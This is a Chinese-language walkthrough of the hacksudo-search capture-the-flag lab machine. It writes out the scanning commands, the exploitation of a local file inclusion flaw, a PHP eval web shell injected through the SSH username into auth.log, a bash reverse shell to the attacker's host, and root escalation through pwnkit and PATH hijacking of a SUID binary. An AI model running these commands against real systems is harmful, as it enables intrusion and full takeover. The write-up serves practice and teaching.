一、介绍
运行环境:Virtualbox
攻击机:kali(10.0.2.15)
靶机:hacksudo-search(10.0.2.50)
目标:获取靶机root权限和flag
靶机下载地址:https://download.vulnhub.com/hacksudo/hacksudo-search.zip
二、信息收集
使用nmap主机发现靶机ip:10.0.2.50
使用nmap端口扫描发现,靶机开放端口:22、80
80端口:打开网站发现是一个搜索页面,查看源码未发现隐藏信息
使用gobuster和dirsearch工具进行目录爆破,发现/.env、/robots.txt、/search1.php
文件
gobuster dir -u http://10.0.2.50 -x txt,php,html,bak --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
dirsearch -u http://10.0.2.50 /usr/share/wordlists/dirb/big.txt
/.env
文件存在一段加密信息和数据库的用户名密码:hiraman:MyD4dSuperH3r0!
aGFja3N1ZG8gaGVscCB5b3UgdG8gbGVhcm4gQ1RGICwgY29udGFjdCB1cyB3d3cuaGFja3N1ZG8uY29tL2NvbnRhY3QK
解密得到:hacksudo help you to learn CTF , contact us www.hacksudo.com/contact
/robots.txt
文件
/search1.php
文件是另一个搜索页面
查看源码发现隐藏信息:find me @hacksudo.com/contact @fuzzing always best option :)
点击Contact,在URL发现FUZZ字段:http://10.0.2.50/search1.php?FUZZ=contact.php
,怀疑存在文件包含漏洞
使用wfuzz工具探测一波,发现一个LFI
wfuzz -w /usr/share/wordlists/wfuzz/general/common.txt http://10.0.2.50/search1.php?FUZZ=/etc/passwd
尝试包含/etc/passwd
发现显示passwd文件的内容
三、漏洞利用
查看/etc/passwd
文件发现存在5个用户
monali:x:1001:1001:,,,:/home/monali:/bin/bash
john:x:1002:1002:,,,:/home/john:/bin/bash
search:x:1003:1003:,,,:/home/search:/bin/bash
hacksudo:x:1000:1000:hacksudo,,,:/home/hacksudo:/bin/bash
root:x:0:0:root:/root:/bin/bash
可以尝试包含这些用户的ssh私钥或一些日志文件,看看有没有权限访问
/home/monali/.ssh/id_rsa
/home/john/.ssh/id_rsa
/home/search/.ssh/id_rsa
/home/hacksudo/.ssh/id_rsa
#ssh日志
/var/log/auth.log
发现包含ssh日志出现回显
可以通过在用户名处注入一句话木马然后使用蚁剑连接
ssh '<?php @eval($_POST['pass']);?>'@10.0.2.50
反弹shell
bash -c 'bash -i >& /dev/tcp/10.0.2.15/4444 0>&1'
获取交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
四、提权
方法一:
使用命令find / -perm -u=s -type f 2>/dev/null
查看一下具有SUID
权限的二进制可执行文件,发现存在/usr/lib/policykit-1/polkit-agent-helper-1
,该版本的polkit存在提权漏洞CVE-2021-4034
查看靶机是否存在gcc环境,发现存在
使用蚁剑将exp上传,编译,执行,获取root权限
方法二:
根据之前目录爆破发现一个目录/account/
,浏览器访问,发现数据库连接文件
使用文件包含漏洞读取dbconnect.php
文件的内容
http://192.168.178.10/search1.php?me=php://filter/convert.base64-encode/resource=./account/dbconnect.php
使用base64解密发现数据库用户名密码:hacksudo:p@ssword
尝试使用/.env
和dbconnect.php
文件里面的用户名密码登录ssh,直接登录失败,但使用用户名密码:hacksudo:MyD4dSuperH3r0!
,登录ssh成功
使用命令find / -perm -u=s -type f 2>/dev/null
查看一下具有SUID
权限的二进制可执行文件,发现文件/home/hacksudo/search/tools/searchinstall
发现searchinstall程序的源码,该程序会先设置uid,然后以root命令执行install命令
我们可以通过更改系统的环境变量来进行提权
cd /tmp
echo "/bin/sh" > install
chmod 777 install
export PATH=/tmp:$PATH
执行searchinstall
程序获取root权限
获取flag